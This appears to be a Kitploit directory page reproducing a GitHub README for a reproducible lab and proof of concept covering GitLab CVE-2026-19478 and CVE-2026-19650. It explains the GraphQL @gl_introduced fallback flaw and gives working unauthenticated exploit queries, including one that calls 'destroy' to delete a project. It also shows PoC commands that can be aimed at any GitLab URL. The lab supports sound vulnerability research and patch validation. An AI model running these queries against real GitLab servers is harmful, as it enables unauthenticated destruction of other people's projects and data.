Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
gitlab-cve-2026-19478-lab — Laboratório A/B reproduzível + PoC seguro para GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) | Kitploit
Ferramentas/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsSegurança WebTestes de PenetraçãoLabs e Prática
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

Laboratório A/B reproduzível + PoC seguro para GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)

Ver Repositório
81há 6 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-19478 — GitLab GraphQL @gl_introduced invocação arbitrária de métodos sem autenticação (laboratório de validação + PoC)

Laboratório A/B reproduzível e PoC seguro para CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Crítica). Um atacante não autenticado pode invocar métodos Ruby arbitrários de 0 argumentos em objetos de domínio resolvidos via GraphQL — por exemplo, chamar Project#destroy para excluir um projeto público sem credenciais.

Também inclui um PoC para a vulnerabilidade relacionada CVE-2026-19650 (troca de consulta multiplex GraphQL) corrigida na mesma versão.

Somente para testes de segurança autorizados / fins educacionais. Tudo é executado em seus próprios contêineres locais.


1. A vulnerabilidade

O GitLab inclui uma diretiva de cliente GraphQL @gl_introduced(version: "X.Y.Z") (compatibilidade futura para implantações contínuas). Quando uma consulta nomeia um campo com uma versão mais recente que a do servidor em execução, um tracer (Gitlab::Graphql::VersionFilter::IntroducedTracer) o remove antes da para que a consulta seja validada; em seguida, reexecuta o documento na execução e permite que campos desconhecidos sejam resolvidos por um fallback.

Baixar ferramenta
validação estática
original

O bug está no fallback (lib/gitlab/graphql/version_filter/future_field_fallback.rb, pré-correção):

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end

Um GraphQL::Schema::Field sem resolver é resolvido pelo graphql-ruby chamando object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — o ramo respond_to?(@method_sym) → public_send é executado antes de fallback_value ser consultado, então fallback_value: nil era código morto). Portanto, sob @gl_introduced, o cliente escolhe um nome de campo igual a qualquer método de 0 argumentos no objeto atualmente resolvido, e o servidor o invoca.

Resolva um projeto público, solicite um "campo futuro" chamado destroy → o servidor executa Project#destroy.

  • Impacto: modificação/exclusão não autenticada de projetos públicos e dados de usuários (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
  • Afetados: GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3.
  • Corrigido: 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — o fallback agora usa um Resolvers::NilResolver explícito que retorna nil e nunca chama um método.

Restrições do gatilho (aprendidas empiricamente)

  1. @gl_introduced(version:) deve ser maior que a versão do servidor (use 99.0.0).
  2. O nome do campo é o nome exato do método, literalmente (snake_case conforme definido em Ruby, ex.: to_param, destroy).
  3. A seleção do pai precisa de ≥1 campo irmão real (ex.: id) ou o documento filtrado é um conjunto de seleção vazio e o GitLab retorna um erro de validação "Field must have selections".

2. Início rápido (laboratório A/B: vulnerável 19.2.2 vs corrigido 19.2.4)

Requisitos: Docker + docker compose, ~8 GB de RAM livres, Python 3.

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh exibe, por instância: a URL base, o caminho do projeto público semeado (root/pub) e um PAT de administrador.


3. Executar o PoC

3a. Detecção (SEGURO, não destrutivo — padrão)

Usa a primitiva de chamada de método com um método inofensivo (to_param). Nenhum dado é alterado.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

Esperado:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

vs. na instância corrigida:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. Prove o impacto destrutivo (OPCIONAL — exclui um projeto descartável que ele mesmo cria)

Cria seu próprio projeto público descartável via API REST (precisa do token de administrador do setup.sh) e então o exclui por meio do ataque GraphQL não autenticado, confirmando que o projeto não existe mais.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

Esperado (vulnerável):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

Na instância corrigida, a mesma execução relata que o projeto ainda retorna 200 OK e destroy é null.

3c. CVE-2026-19650 relacionada (troca de consulta multiplex) — SEGURO

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. Teste contra sua própria instância

Aponte --url para qualquer GitLab que você esteja autorizado a testar e --project para um projeto público nele:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

A detecção é não destrutiva. Não use --prove-destroy contra nada que não seja seu.


5. Remediação

Atualize para 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 ou posterior. A correção direciona o fallback por meio de Resolvers::NilResolver (retorna nil, nunca invoca um método de objeto). Se você não puder atualizar imediatamente, bloqueie a diretiva @gl_introduced / o caminho do filtro de versão em um proxy, ou restrinja o acesso GraphQL não autenticado.

6. Arquivos

ArquivoFinalidade
docker-compose.ymlInicia o 19.2.2-ce vulnerável (:8222) + 19.2.4-ce corrigido (:8224)
setup.shAguarda a prontidão, semeia o projeto público root/pub + token de administrador por instância
poc_cve_2026_19478.pyDetecção (segura) + prova de impacto opcional --prove-destroy
poc_cve_2026_19650.pyDetecção de troca de consulta multiplex (segura)

7. Notas de segurança

  • Tudo tem como alvo contêineres que você executa. O PoC padrão é não destrutivo.
  • --prove-destroy cria e exclui seu próprio projeto descartável; nunca toca em root/pub nem em seus dados.
  • Relatores: hiimguardian (CVE-2026-19478), kreep (CVE-2026-19650), via GitLab HackerOne. A divulgação técnica pública ficou sob embargo ~90 dias após a correção; este laboratório deriva o mecanismo dos commits de correção públicos e283c6adeb3d (fallback) e d2ea4b971a98 (troca multiplex).